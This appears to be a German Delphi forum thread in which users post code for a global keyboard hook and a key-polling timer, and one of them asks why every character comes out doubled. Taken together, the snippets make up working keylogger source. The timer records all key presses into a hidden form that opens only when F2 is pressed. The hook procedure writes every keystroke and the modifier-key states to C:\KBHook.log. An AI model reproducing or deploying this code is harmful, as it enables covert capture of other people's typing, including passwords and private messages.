1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:

unit UMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

type
  PHWND = ^HWND;

const
  WM_KEYBOARD_HOOK = WM_USER + 52012;

var
  Form1: TForm1;
  hHook: LongWord = 0;
  Key: Word;
  KeyboardLayout: HKL;
  GetShiftKeys: Boolean;
  hWndBuffer: PHWND;
  hMMF: THandle;

implementation

{$R *.dfm}

function KeyboardProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
  LastKey: Char;
  KeyState: TKeyboardState;
begin
  Result:=CallNextHookEx(hHook,nCode,wParam,lParam);
  if nCode<0 then
    Exit
  else begin
    KeyboardLayout:=GetKeyboardLayout(0);
    GetKeyboardState(KeyState);
    if ToAsciiEx(wParam,MapVirtualKeyEx(wParam,2,KeyboardLayout),KeyState,@LastKey,0,KeyboardLayout)>0 then
      Key:=Ord(LastKey)
    else
      Key:=wParam;
    if (lParam and $80000000)=0 then
      if not (wParam in [16,17,18]) or GetShiftKeys then
        PostMessage(hwndBuffer^,WM_KEYBOARD_HOOK,Key,GetActiveWindow);
  end;
end;

function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; external 'KBHook.dll';
function DeleteHook: Boolean; external 'KBHook.dll';

end.                    

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: byte;
  t: String;
begin
Timer1.Interval := 10;
for i := 0 to 254 do
        if boolean(getasynckeystate(i)) then
          begin
            if i = 1 then t:='MausLinks';
            if i = 2 then t:='MausRechts';
            if i = 4 then t:='MausRad';
            if i = 5 then t:='MausForward';
            if i = 6 then t:='MausBack';
            if i = 8 then t:='Return';
            if i = 9 then t:='Tab';
            if i = 13 then t:='Enter';
            if i = 19 then t:='Pause';
            if i = 20 then t:='Feststell';
            if i = 27 then t:='Esc';
            if i = 32 then t:=' ';
            if i = 33 then t:='BildAuf';
            if i = 34 then t:='BildAb';
            if i = 35 then t:='Ende';
            if i = 36 then t:='Pos1';
            if i = 37 then t:='Links';
            if i = 38 then t:='Oben';
            if i = 39 then t:='Rechts';
            if i = 40 then t:='Unten';
            if i = 44 then t:='Druck';
            if i = 45 then t:='Einfügen';
            if i = 46 then t:='Entfernen';
            if i = 48 then t:='0';
            if i = 49 then t:='1';
            if i = 50 then t:='2';
            if i = 51 then t:='3';
            if i = 52 then t:='4';
            if i = 53 then t:='5';
            if i = 54 then t:='6';
            if i = 55 then t:='7';
            if i = 56 then t:='8';
            if i = 57 then t:='9';
            if i = 65 then t:='A';
            if i = 66 then t:='B';
            if i = 67 then t:='C';
            if i = 68 then t:='D';
            if i = 69 then t:='E';
            if i = 70 then t:='F';
            if i = 71 then t:='G';
            if i = 72 then t:='H';
            if i = 73 then t:='I';
            if i = 74 then t:='J';
            if i = 75 then t:='K';
            if i = 76 then t:='L';
            if i = 77 then t:='M';
            if i = 78 then t:='N';
            if i = 79 then t:='O';
            if i = 80 then t:='P';
            if i = 81 then t:='Q';
            if i = 82 then t:='R';
            if i = 83 then t:='S';
            if i = 84 then t:='T';
            if i = 85 then t:='U';
            if i = 86 then t:='V';
            if i = 87 then t:='W';
            if i = 88 then t:='X';
            if i = 89 then t:='Y';
            if i = 90 then t:='Z';
            if i = 91 then t:='Windows';
            if i = 92 then t:='WindowsRechts';
            if i = 93 then t:='Tasks';
            if i = 97 then t:='Num1';
            if i = 98 then t:='Num2';
            if i = 99 then t:='Num3';
            if i = 100 then t:='Num4';
            if i = 101 then t:='Num5';
            if i = 102 then t:='Num6';
            if i = 103 then t:='Num7';
            if i = 104 then t:='Num8';
            if i = 105 then t:='Num9';
            if i = 106 then t:='Num*';
            if i = 107 then t:='Num+';
            if i = 109 then t:='Num-';
            if i = 110 then t:='Num,';
            if i = 111 then t:='Num/';
            if i = 112 then t:='F1';
            if i = 113 then Form1.Show;
            if i = 114 then t:='F3';
            if i = 115 then t:='F4';
            if i = 116 then t:='F5';
            if i = 117 then t:='F6';
            if i = 118 then t:='F7';
            if i = 119 then t:='F8';
            if i = 120 then t:='F9';
            if i = 121 then t:='F10';
            if i = 122 then t:='F11';
            if i = 123 then t:='F12';
            if i = 144 then t:='Num';
            if i = 145 then t:='Rollen';
            if i = 160 then t:='Schift';
            if i = 162 then t:='STRGLinks';
            if i = 163 then t:='STRGRechts';
            if i = 164 then t:='Alt';
            if i = 165 then t:='AltGroß';
            if i = 187 then t:='+';
            if i = 188 then t:=',';
            if i = 189 then t:='-';
            if i = 190 then t:='.';
            if i = 191 then t:='#';
            if i = 220 then t:='^';
            //Das hier muss so lang sein sonst geht des mim abragen net so gut ;-)
            Edit1.Text := Edit1.Text + t;
          end;
      sleep(10);
if Edit1.getTextLen = 75 then
 begin
  Liste.Add(Edit1.Text);
  Edit1.Text := '';
  Memo1.Text := Liste.Text;
end;                    

1:
2:
3:
4:
5:
6:

if Edit1.getTextLen = 75 then   
 begin   
  Liste.Add(Edit1.Text);   
  Edit1.Text := '';   
  Memo1.Text := Liste.Text;   
end;                    

1:

wwiieesssoo  iisstt  ddaa   aallllleess  ddooppppeelltt?                    

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:

function KeyboardProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
  LastKey0: Char;
  LastKey2: Char;
  KeyState: TKeyboardState;
  LogFile: TextFile;
  Text: String;
  Line: String;
  MappedKey0: Cardinal;
  MappedKey2: Cardinal;
  AsciiKey0: Cardinal;
  AsciiKey2: Cardinal;
begin
  Result:=CallNextHookEx(hHook,nCode,wParam,lParam);
  if nCode<0 then
    Exit
  else begin
    KeyboardLayout:=GetKeyboardLayout(0);
    GetKeyboardState(KeyState);
    MappedKey0 := MapVirtualKeyEx(wParam, 0, KeyboardLayout);
    MappedKey2 := MapVirtualKeyEx(wParam, 2, KeyboardLayout);
    AsciiKey0 := ToAsciiEx(wParam, MappedKey0, KeyState, @LastKey0, 0, KeyboardLayout);
    AsciiKey2 := ToAsciiEx(wParam, MappedKey2, KeyState, @LastKey2, 0, KeyboardLayout);

    if (MappedKey0 > 0) then begin
      if (AsciiKey0 > 0) and (MappedKey2 > 0) and (AsciiKey2 > 0) and
         (not (wParam in [VK_RETURN, VK_PAUSE, VK_ESCAPE, VK_CANCEL, VK_BACK])) then begin
        Key := Ord(LastKey0);
        Text := LastKey0;
      end
      else begin
        case wParam of
          VK_LBUTTON: Text := '<LBUTTON>';
          VK_RBUTTON: Text := '<RBUTTON>';
          VK_CANCEL: Text := '<CANCEL>';
          VK_MBUTTON: Text := '<MBUTTON>';
          VK_BACK: Text := '<BACKSPACE>';
          VK_TAB: Text := '<TAB>';
          VK_CLEAR: Text := '<CLEAR>';
          VK_RETURN: Text := '<RETURN>';
          VK_SHIFT: Text := '<SHIFT>';
          VK_CONTROL: Text := '<CTRL>';
          VK_MENU: Text := '<ALT>';
          VK_PAUSE: Text := '<PAUSE>';
          VK_CAPITAL: Text := '<CAPSLOCK>';
          VK_CONVERT: Text := '<CONVERT>';
          VK_NONCONVERT: Text := '<NONCONVERT>';
          VK_ACCEPT: Text := '<ACCEPT>';
          VK_MODECHANGE: Text := '<MODECHANGE>';
          VK_ESCAPE: Text := '<ESCAPE>';
          VK_PRIOR: Text := '<PRIOR>';
          VK_NEXT: Text := '<NEXT>';
          VK_END: Text := '<END>';
          VK_HOME: Text := '<HOME>';
          VK_LEFT: Text := '<LEFT>';
          VK_UP: Text := '<UP>';
          VK_RIGHT: Text := '<RIGHT>';
          VK_DOWN: Text := '<DOWN>';
          VK_SELECT: Text := '<SELECT>';
          VK_PRINT: Text := '<PRINT>';
          VK_EXECUTE: Text := '<EXECUTE>';
          VK_SNAPSHOT: Text := '<SNAPSHOT>';
          VK_INSERT: Text := '<INSERT>';
          VK_DELETE: Text := '<DELETE>';
          VK_F1: Text := '<F1>';
          VK_F2: Text := '<F2>';
          VK_F3: Text := '<F3>';
          VK_F4: Text := '<F4>';
          VK_F5: Text := '<F5>';
          VK_F6: Text := '<F6>';
          VK_F7: Text := '<F7>';
          VK_F8: Text := '<F8>';
          VK_F9: Text := '<F9>';
          VK_F10: Text := '<F10>';
          VK_F11: Text := '<F11>';
          VK_F12: Text := '<F12>';
          VK_F13: Text := '<F13>';
          VK_F14: Text := '<F14>';
          VK_F15: Text := '<F15>';
          VK_F16: Text := '<F16>';
          VK_F17: Text := '<F17>';
          VK_F18: Text := '<F18>';
          VK_F19: Text := '<F19>';
          VK_F20: Text := '<F20>';
          VK_F21: Text := '<F21>';
          VK_F22: Text := '<F22>';
          VK_F23: Text := '<F23>';
          VK_F24: Text := '<F24>';
          VK_NUMLOCK: Text := '<NUMLOCK>';
          VK_SCROLL: Text := '<SCROLLLOCK>';
        end;
        Key := Ord(LastKey0);
      end;
    end
    else begin
      if wParam = VK_RETURN then
        Text := '<RETURN>'
      else
        Text := Chr(wParam);
        
      Key := wParam;
    end;

    if (lParam and $80000000)=0 then
      if not (wParam in [16,17,18]) or GetShiftKeys then begin
        AssignFile(LogFile, 'C:\KBHook.log');
        if FileExists('C:\KBHook.log') then
          Append(LogFile)
        else
          Rewrite(LogFile);

        Line := 'Text:' + QuotedStr(Text) + ' : ';
        if wParam <> 0 then
          Line := Line + 'wParam: ' + Chr(wParam) + ' (' + IntToStr(wParam) + ') '
        else
          Line := Line + 'wParam: <0> (0) ';
        if MappedKey0 <> 0 then
          Line := Line + 'MappedKey: ' + Chr(MappedKey0) + ' (' + IntToStr(MappedKey0) + ') '
        else
          Line := Line + 'MappedKey: <0> (0) ';
        if LastKey0 <> #0 then
          Line := Line + 'AsciiKey: ' + LastKey0 + ' (' + IntToStr(Ord(LastKey0)) + ') '
        else
          Line := Line + 'AsciiKey: <0> (0) ';

          Line := Line + ' --> Caps: ' + BoolToStr(KeyState[VK_CAPITAL] = 1) +
                ', Scroll: ' + BoolToStr(KeyState[VK_SCROLL] = 1) +
                ', Num: ' + BoolToStr(KeyState[VK_NUMLOCK] = 1) +
                ', Shift: ' + BoolToStr(GetKeyState(VK_SHIFT) < 0) +
                ', Ctrl: ' + BoolToStr(GetKeyState(VK_CONTROL) < 0) +
                ', Alt: ' + BoolToStr(GetKeyState(VK_MENU) < 0);

        Writeln(LogFile, Line);
        Flush(LogFile);
        CloseFile(LogFile);
        PostMessage(hwndBuffer^,WM_KEYBOARD_HOOK,Key,GetActiveWindow);
      end;
  end;
end;